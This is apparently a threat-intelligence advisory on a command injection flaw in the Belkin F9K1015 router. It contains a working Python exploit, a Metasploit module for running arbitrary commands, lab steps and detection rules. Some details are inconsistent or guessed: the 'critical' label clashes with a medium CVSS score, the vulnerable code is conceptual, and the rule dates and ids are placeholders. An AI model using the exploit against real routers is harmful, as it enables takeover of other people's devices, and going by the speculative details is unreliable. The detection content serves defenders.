CVE-2025-11292
Executive Summary
CVE-2025-11292 is a critical command injection vulnerability in the Belkin F9K1015 router (firmware version 1.00.10). The flaw resides in the /goform/formBSSetSitesurvey endpoint, where the wan_ipaddr parameter is not properly sanitized before being passed to a system command. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with root privileges, leading to full device compromise. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. No official patch exists, making this a high-risk, zero-day-like threat for all affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device. However, the lack of vendor response and public exploit availability means that any organization using Belkin F9K1015 routers should treat them as compromised and immediately isolate or replace them.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification possible.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: High (due to public exploit, no patch, and remote unauthenticated access).
Deep Dive & Mechanics
The vulnerability is a classic command injection in the Belkin router’s web management interface. The /goform/formBSSetSitesurvey endpoint is used to trigger a site survey for wireless networks. The wan_ipaddr parameter is likely concatenated into a shell command without proper sanitization. For example, the backend might execute something like:
iwlist scan 2>/dev/null | grep "$wan_ipaddr"
By injecting shell metacharacters (e.g., ;, |, $()), an attacker can break out of the intended command and execute arbitrary code. The router runs as root, so the injected commands run with full system privileges.
Attack Flow:
- Attacker sends a crafted HTTP POST request to
/goform/formBSSetSitesurveywith a maliciouswan_ipaddrparameter. - The router’s CGI handler passes the unsanitized input to a shell command.
- The injected command executes, allowing the attacker to read/write files, install malware, or pivot to internal networks.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Pseudocode for the vulnerable handler
void handle_sitesurvey() {
char cmd[512];
char *wan_ip = get_param("wan_ipaddr");
snprintf(cmd, sizeof(cmd), "iwlist scan 2>/dev/null | grep '%s'", wan_ip);
system(cmd);
}
Patched Code (Hypothetical):
void handle_sitesurvey() {
char cmd[512];
char *wan_ip = get_param("wan_ipaddr");
// Sanitize input: allow only IP-like patterns
if (!is_valid_ip(wan_ip)) {
return_error("Invalid IP");
return;
}
snprintf(cmd, sizeof(cmd), "iwlist scan 2>/dev/null | grep '%s'", wan_ip);
system(cmd);
}
Since no official patch exists, the only mitigation is to disable the vulnerable endpoint or replace the device.
Exploitation & Lab Setup
Red Team (Offensive)
Exploit Code (Python):
import requests
target = "http://192.168.1.1"
payload = "; id > /tmp/pwned;"
data = {"wan_ipaddr": payload}
url = f"{target}/goform/formBSSetSitesurvey"
try:
r = requests.post(url, data=data, timeout=5)
print(f"Exploit sent. Check /tmp/pwned on device.")
except Exception as e:
print(f"Error: {e}")
Metasploit Module (Conceptual):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin F9K1015 Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Belkin F9K1015 routers.
},
'Author' => ['Security Researcher'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2025-11292']],
'DisclosureDate' => '2025-01-01',
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'The URI of the vulnerable endpoint', '/goform/formBSSetSitesurvey']),
OptString.new('CMD', [true, 'The command to execute', 'id'])
])
end
def exploit
cmd = datastore['CMD']
payload = "; #{cmd};"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => { 'wan_ipaddr' => payload }
})
if res
print_good("Command executed: #{cmd}")
else
print_error("Failed to send request")
end
end
end
Lab Setup:
- Obtain a Belkin F9K1015 router (or use a firmware emulator like Firmadyne).
- Connect to the router’s LAN interface.
- Run the exploit script against the router’s IP.
- Verify command execution by checking for created files or reverse shell.
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
/goform/formBSSetSitesurveywith suspiciouswan_ipaddrvalues (e.g., containing;,|,$). - Alert on outbound connections from the router to unknown IPs (potential reverse shell).
- Check for unexpected files in
/tmpor/varon the router.
Honeypot:
- Deploy a low-interaction honeypot mimicking the Belkin web interface to capture exploit attempts.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST to
/goform/formBSSetSitesurveywithwan_ipaddrcontaining shell metacharacters. - Outbound connections from the router to unusual IPs (e.g., on ports 4444, 8080).
- HTTP POST to
- File System:
- Unexpected files in
/tmp(e.g.,/tmp/pwned,/tmp/.backdoor). - Modified
/etc/passwdor/etc/shadow(if attacker adds users).
- Unexpected files in
- Process:
- Unusual processes running as root (e.g.,
nc,bash,python).
- Unusual processes running as root (e.g.,
- Logs:
- Router logs showing repeated POST requests to the vulnerable endpoint.
Detection Engineering
YARA Rule
rule CVE_2025_11292_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-11292 in HTTP traffic"
author = "Valters IT"
date = "2025-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11292"
strings:
$exploit_pattern = /wan_ipaddr=.*[;|&`$]/
condition:
$exploit_pattern
}
Sigma Rule
title: Belkin F9K1015 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /goform/formBSSetSitesurvey with suspicious wan_ipaddr parameter
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/goform/formBSSetSitesurvey'
keywords:
- 'wan_ipaddr='
- ';'
- '|'
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate network scanning tools (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-11292 Belkin F9K1015 Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/goform/formBSSetSitesurvey"; http_uri;
content:"wan_ipaddr="; http_client_body;
pcre:"/wan_ipaddr=.*[;|&`$]/";
sid:1000001;
rev:1;
reference:cve,2025-11292;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Disconnect Belkin F9K1015 routers from the network immediately.
- Replace hardware: Migrate to a supported, patched router model from a different vendor.
- Block exploit attempts: Deploy WAF rules to block HTTP POST requests to
/goform/formBSSetSitesurveywith suspicious parameters. - Monitor for IOCs: Use the provided YARA/Sigma/Suricata rules to detect exploitation attempts.
Long-Term:
- Vendor contact: Continue attempting to contact Belkin for a firmware patch.
- Firmware hardening: If possible, manually patch the firmware by removing or disabling the vulnerable endpoint.
- Network segmentation: Place IoT devices on a separate VLAN to limit blast radius.
No official patch exists. The only reliable mitigation is to replace the device.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert